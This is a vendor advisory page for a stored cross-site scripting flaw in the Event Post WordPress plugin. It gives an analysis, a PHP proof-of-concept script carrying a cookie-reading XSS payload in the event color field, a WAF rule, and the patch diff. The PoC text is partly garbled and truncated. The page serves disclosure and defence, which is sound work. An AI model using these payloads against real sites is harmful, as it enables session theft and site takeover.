Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125781: Event Post <= 6.1.2 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin event-post
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.1.2
Patched Version 6.1.3
Disclosed November 10, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-125781: Event Post versions up to and including 6.1.2 contain an authenticated stored cross-site scripting vulnerability. Contributor-level users and above can inject arbitrary web scripts into pages that execute when any user views the affected content. The plugin fails to sanitize the event color meta field on save and fails to escape it on output. CVSS score is 6.4 with a CWE-79 classification.nnThe root cause spans two code paths. In `event-post/eventpost.php` inside the `save_meta` handler (around line 2537), the plugin stores the `$this->META_COLOR` POST value using `sanitize_text_field()`. That function strips tags but permits characters like quotes, semicolons, and parentheses, which are sufficient to break out of a CSS attribute or style context. On the rendering side, `get_single()` at line 1541 concatenates `$post->color` directly into a `style` attribute: `style=”border-left-color:#’ . $post->color . ‘;background:rgba(…)` without `esc_attr()`. The helper `event_post_format_color()` only performed `str_replace(‘#’, ”, $color)`, so payloads passed through unchanged. A second sink exists in `class-shortcodes.php` line 238 where `container_schema` and `item_schema` shortcode attributes are decoded with `html_entity_decode()` and not filtered before reaching the timeline output.nnAn attacker with contributor access submits a crafted color value during post save, for example `red;” onmouseover=”alert(document.cookie)` or `”>alert(1)`. The value is stored in the `_eventpost_color` post meta. When any visitor or administrator loads a page rendering the event via `get_single()`, the payload lands unescaped in the `style` attribute of the event container div, executing script in their browser session. The timeline shortcode vector works similarly: a contributor places `[event_timeline container_schema=”…”]` with malicious attributes, which are HTML-entity decoded and rendered into the page.nnThe 6.1.3 patch hardens both sides. On input, `save_meta` now passes the color through `sanitize_hex_color()` and `sanitize_hex_color_no_hash()`, storing only valid 3- or 6-digit hex strings or an empty string. On output, `get_single()` applies `esc_attr()` to `$post->color` and casts the RGB components to integers. `event_post_format_color()` now validates against `/^[0-9a-fA-F]{3}(?:[0-9a-fA-F]{3})?$/` and returns an empty string otherwise. The timeline shortcode handler applies `wp_kses()` with the plugin’s allowed tags to `container_schema` and `item_schema` after decoding. The rendering loop in `list_events()` also wraps `get_post_color()`, `permalink`, and `post_title` in `esc_attr()`, `esc_url()`, and `esc_html()` respectively, and `data-filter` uses `esc_attr(http_build_query($atts))`. Before the patch, contributor-supplied strings reached HTML attributes and style contexts raw; after the patch, all color values must be hex and all shortcode schema values are filtered through `wp_kses`.nnSuccessful exploitation lets a low-privileged contributor execute arbitrary JavaScript in the context of any user viewing the event page, including administrators. This enables session theft, action forgery via the victim’s cookies, creation of rogue admin accounts, installation of malicious plugins, and full site takeover. Stored XSS also persists in the database and fires on every page load, amplifying reach without further attacker interaction.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-125781 – Event Post $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’,n), $cookie_jar);nif ($code !== 200 || strpos($body, ‘wp-admin’) === false) {n echo “[-] Login failed (HTTP $code)\n”;n exit(1);n}necho “[+] Logged in as $username\n”;nn// Step 2: Fetch the new post form to obtain nonce valuesnlist($code, $body) = http_request($target_url . ‘/wp-admin/post-new.php?post_type=event’, ‘GET’, null, $cookie_jar);nif (!preg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $body, $m)) {n echo “[-] Could not extract post nonce\n”;n exit(1);n}n$post_nonce = $m[1];nn// Step 3: Submit a new event post with a malicious color meta valuen// The payload breaks out of the style attribute context rendered by get_single().n$payload = ‘red;” onmouseover=”alert(document.cookie)’; // stored XSS payloadnn$post_fields = array(n ‘action’ => ‘editpost’,n ‘_wpnonce’ => $post_nonce,n ‘post_ID’ => ‘0’,n ‘post_type’ => ‘event’,n ‘post_title’ => ‘Atomic Edge XSS PoC’,n ‘content’ => ‘Test event’,n ‘post_status’ => ‘publish’,n ‘eventpost_color’ => $payload, // META_COLOR fieldn ‘eventpost_nonce’ => $post_nonce,n);nnlist($code, $body) = http_request($target_url . ‘/wp-admin/post.php’, ‘POST’, $post_fields, $cookie_jar);nif ($code !== 200 && $code !== 302) {n echo “[-] Post submission failed (HTTP $code)\n”;n exit(1);n}nn// Step 4: Identify the newly created post ID by listing recent eventsnlist($code, $body) = http_request($target_url . ‘/wp-admin/edit.php?post_type=event’, ‘GET’, null, $cookie_jar);nif (!preg_match(‘/post=(d+)/’, $body, $m)) {n echo “[-] Could not determine post ID\n”;n exit(1);n}n$post_id = $m[1];necho “[+] Created event post ID $post_id\n”;nn// Step 5: Fetch the public page (as an unauthenticated viewer would)nlist($code, $body) = http_request($admin_view . $post_id, ‘GET’, null, $cookie_jar);nnif (strpos($body, $payload) !== false) {n echo “[+] VULNERABLE: payload found unescaped in rendered HTML\n”;n echo ” Snippet: ” . htmlspecialchars(substr($body, strpos($body, $payload) – 40, 200)) . “\n”;n} else {n echo “[-] Payload not reflected; target may be patched\n”;n}nn@unlink($cookie_jar);n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-125781n# Blocks stored XSS via the Event Post color meta field on the post save endpoint.n# The Color meta field arrives in the standard WordPress post.php POST handler.n# Legitimate color values are strictly 3 or 6 hex characters (with optional #).n# Any color value containing characters outside [0-9a-fA-F#] is rejected.nSecRule REQUEST_URI “@rx ^/wp-admin/post\.php$” \n “id:2026125781,phase:2,deny,status:403,chain,msg:’CVE-2026-125781 Event Post stored XSS via color meta’,severity:’CRITICAL’,tag:’CVE-2026-125781′,tag:’OWASP_CRS/WEB_ATTACK/XSS'”n SecRule ARGS_POST:eventpost_color “@rx [^0-9a-fA-F#]”n”
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/event-post/eventpost.php
+++ b/event-post/eventpost.php
@@ -3,7 +3,7 @@
  * Plugin Name: Event Post
  * Plugin URI: https://event-post.com?mtm_campaign=wp-plugin&mtm_kwd=event-post&mtm_medium=dashboard&mtm_source=plugin-uri
  * Description: Add calendar and/or geolocation metadata on any posts.
- * Version: 6.1.2
+ * Version: 6.1.3
  * Author: N.O.U.S. Open Useful and Simple
  * Contributors: bastho, sabrinaleroy, unecologeek, agencenous
  * Author URI: https://apps.avecnous.eu/?mtm_campaign=wp-plugin&mtm_kwd=event-post&mtm_medium=dashboard&mtm_source=author
@@ -26,8 +26,18 @@
 	global $EventPost;
 	return $EventPost;
 }
+/**
+ * Hexadecimal color without its leading "#", or an empty string when the value is not a color.
+ *
+ * Every color printed by the plugin goes through here, so a stored value that is
+ * not a hex color can never reach a style or data attribute.
+ *
+ * @param mixed $color
+ * @return string
+ */
 function event_post_format_color($color){
-	return str_replace('#', '', $color);
+	$color = ltrim(trim((string) $color), '#');
+	return preg_match('/^[0-9a-fA-F]{3}(?:[0-9a-fA-F]{3})?$/', $color) ? $color : '';
 }
 function event_post_get_all_terms($post_id){
 	$taxonomies= get_taxonomies('','names');
@@ -1531,7 +1541,7 @@
 			);
 			if ($datas_date != '' || $datas_loc != '') {
 				$rgb = $this->hex2dec($post->color);
-				return '<div class="' . implode(' ', $classes) . '" style="border-left-color:#' . $post->color . ';background:rgba(' . $rgb['R'] . ',' . $rgb['G'] . ',' . $rgb['B'] . ',0.1)" itemscope itemtype="http://microformats.org/profile/hcard">'
+				return '<div class="' . implode(' ', $classes) . '" style="border-left-color:#' . esc_attr($post->color) . ';background:rgba(' . (int) $rgb['R'] . ',' . (int) $rgb['G'] . ',' . (int) $rgb['B'] . ',0.1)" itemscope itemtype="http://microformats.org/profile/hcard">'
 						. apply_filters('eventpost_get_single', $datas_date . $datas_cat . $datas_loc, $post)
 						. '</div>';
 			}
@@ -1776,7 +1786,7 @@
 			$attributes .= ' data-nb-desktop="'.intval($atts['nb_desktop'] ?? 0).'"';
 			$attributes .= ' data-nb-tablet="'.intval($atts['nb_tablet'] ?? 0).'"';
 			$attributes .= ' data-nb-mobile="'.intval($atts['nb_mobile'] ?? 0).'"';
-			$attributes .= ' data-filter="'.http_build_query($atts).'" ';
+			$attributes .= ' data-filter="'.esc_attr(http_build_query($atts)).'" ';
 			}

 			if($id === 'event_timeline'){
@@ -1830,10 +1840,10 @@
 						)), apply_filters('eventpost_item_scheme_values', array(
 					$child,
 					implode(' ', $class_item),
-					$this->get_post_color($event->ID, $this->settings['default_color'],true),
-					$event->permalink,
+					esc_attr($this->get_post_color($event->ID, $this->settings['default_color'],true)),
+					esc_url($event->permalink),
 					$thumbnail == true ? '<span class="event_thumbnail_wrap">' . get_the_post_thumbnail($event->root_ID, !empty($thumbnail_size) ? $thumbnail_size : 'thumbnail', array('class' => 'attachment-thumbnail wp-post-image event_thumbnail')) . '</span>' : '',
-					$event->post_title,
+					esc_html($event->post_title),
 					$event->post_type == 'product' ? $text_price : '',
 					$this->get_singledate($event, '', $context),
 					$this->get_singlecat($event, '', $context),
@@ -2527,9 +2537,13 @@
 			return;
 		}

-		// Clean color or no color
+		// Only a hexadecimal color (with or without "#") is stored, anything else clears the color.
 		if (false !== $color = filter_input(INPUT_POST, $this->META_COLOR)) {
-			update_post_meta($post_id, $this->META_COLOR, sanitize_text_field($color));
+			$clean_color = sanitize_hex_color(trim((string) $color));
+			if (null === $clean_color) {
+				$clean_color = sanitize_hex_color_no_hash(trim((string) $color));
+			}
+			update_post_meta($post_id, $this->META_COLOR, (string) $clean_color);
 		}
 		// Clean color or no color
 		if (false !== $icon = filter_input(INPUT_POST, $this->META_ICON)) {
--- a/event-post/inc/blocks/eventdetails.php
+++ b/event-post/inc/blocks/eventdetails.php
@@ -3,7 +3,7 @@
  * Functions to register client-side assets (scripts and stylesheets) for the Gutenberg block.
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  * @see     https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/#enqueuing-block-scripts
  */
--- a/event-post/inc/blocks/eventscalendar.php
+++ b/event-post/inc/blocks/eventscalendar.php
@@ -3,7 +3,7 @@
  * Functions to register client-side assets (scripts and stylesheets) for the Gutenberg block.
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  * @see     https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/#enqueuing-block-scripts
  */
--- a/event-post/inc/blocks/eventslist.php
+++ b/event-post/inc/blocks/eventslist.php
@@ -3,7 +3,7 @@
  * Functions to register client-side assets (scripts and stylesheets) for the Gutenberg block.
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  * @see     https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/#enqueuing-block-scripts
  */
--- a/event-post/inc/blocks/eventsmap.php
+++ b/event-post/inc/blocks/eventsmap.php
@@ -3,7 +3,7 @@
  * Functions to register client-side assets (scripts and stylesheets) for the Gutenberg block.
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  * @see     https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/#enqueuing-block-scripts
  */
--- a/event-post/inc/blocks/eventstimeline.php
+++ b/event-post/inc/blocks/eventstimeline.php
@@ -3,7 +3,7 @@
  * Functions to register client-side assets (scripts and stylesheets) for the Gutenberg block.
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  * @see     https://wordpress.org/gutenberg/handbook/blocks/writing-your-first-block-type/#enqueuing-block-scripts
  */
--- a/event-post/inc/class-children.php
+++ b/event-post/inc/class-children.php
@@ -3,7 +3,7 @@
  * Manage sub events
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   4.3
  */

--- a/event-post/inc/class-icons.php
+++ b/event-post/inc/class-icons.php
@@ -3,7 +3,7 @@
  * Icons
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.4
  */

--- a/event-post/inc/class-multisite.php
+++ b/event-post/inc/class-multisite.php
@@ -3,7 +3,7 @@
  * Multisite management
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   4.3
  */

--- a/event-post/inc/class-settings.php
+++ b/event-post/inc/class-settings.php
@@ -3,7 +3,7 @@
  * Settings
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.4.0
  */

--- a/event-post/inc/class-shortcodes.php
+++ b/event-post/inc/class-shortcodes.php
@@ -3,7 +3,7 @@
  * Implements all shortcodes features
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.0.0
  */

@@ -238,10 +238,14 @@

         wp_enqueue_script('event-post-timeline');

-        if ($atts['container_schema'] != EventPost()->timeline_shema['container'])
+        if ($atts['container_schema'] != EventPost()->timeline_shema['container']) {
             $atts['container_schema'] = html_entity_decode($atts['container_schema']);
-        if ($atts['item_schema'] != EventPost()->timeline_shema['item'])
+            $atts['container_schema'] = wp_kses($atts['container_schema'], EventPost()->kses_tags);
+        }
+        if ($atts['item_schema'] != EventPost()->timeline_shema['item']) {
             $atts['item_schema'] = html_entity_decode($atts['item_schema']);
+            $atts['item_schema'] = wp_kses($atts['item_schema'], EventPost()->kses_tags);
+        }
         return EventPost()->list_events($atts, 'event_timeline', $block ? 'block' :'shortcode');
     }

--- a/event-post/inc/class-taxonomies.php
+++ b/event-post/inc/class-taxonomies.php
@@ -3,7 +3,7 @@
  * Taxonomies
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.6
  */

--- a/event-post/inc/data/currencies.php
+++ b/event-post/inc/data/currencies.php
@@ -3,7 +3,7 @@
  * Currencies
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.10.0
  */

--- a/event-post/inc/export/ics.php
+++ b/event-post/inc/export/ics.php
@@ -3,7 +3,7 @@
  * ICS Export
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.4
  */

--- a/event-post/inc/export/vcs.php
+++ b/event-post/inc/export/vcs.php
@@ -3,7 +3,7 @@
  * VCS Export
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.4
  */

--- a/event-post/inc/i18n.php
+++ b/event-post/inc/i18n.php
@@ -3,7 +3,7 @@
  * Do not call this file, just used for generating .pot file
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.2
  */

--- a/event-post/inc/openweathermap.php
+++ b/event-post/inc/openweathermap.php
@@ -3,7 +3,7 @@
  * Weather support
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   4.3.0
  */

--- a/event-post/inc/woocommerce.php
+++ b/event-post/inc/woocommerce.php
@@ -3,7 +3,7 @@
  * Support for WooCommerce
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.8.0
  */

--- a/event-post/inc/wrappers.php
+++ b/event-post/inc/wrappers.php
@@ -3,7 +3,7 @@
  * Shortcuts for useful functions in templates
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.0.0
  */

--- a/event-post/views/admin/custombox-date.php
+++ b/event-post/views/admin/custombox-date.php
@@ -3,7 +3,7 @@
  * Date custombox
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.3.1
  */

--- a/event-post/views/admin/custombox-location.php
+++ b/event-post/views/admin/custombox-location.php
@@ -3,7 +3,7 @@
  * Location custombox
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.3.1
  */

--- a/event-post/views/product-tab.php
+++ b/event-post/views/product-tab.php
@@ -4,7 +4,7 @@
  * Support for WooCommerce products
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.8.0
  */

--- a/event-post/views/search-form.php
+++ b/event-post/views/search-form.php
@@ -3,7 +3,7 @@
  * Search form for event posts
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.0.0
  */

--- a/event-post/views/search-results.php
+++ b/event-post/views/search-results.php
@@ -3,7 +3,7 @@
  * Search result
  *
  * @package event-post
- * @version 6.1.2
+ * @version 6.1.3
  * @since   5.0.0
  */

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.